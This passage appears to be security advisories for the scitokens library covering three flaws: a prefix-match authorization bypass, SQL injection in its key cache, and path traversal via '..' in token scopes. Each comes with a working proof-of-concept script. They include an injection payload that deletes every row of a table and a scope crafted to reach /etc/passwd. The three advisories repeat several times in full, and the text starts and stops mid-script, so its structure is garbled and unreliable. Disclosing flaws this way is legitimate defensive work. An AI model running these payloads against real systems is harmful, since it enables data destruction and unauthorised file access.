    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
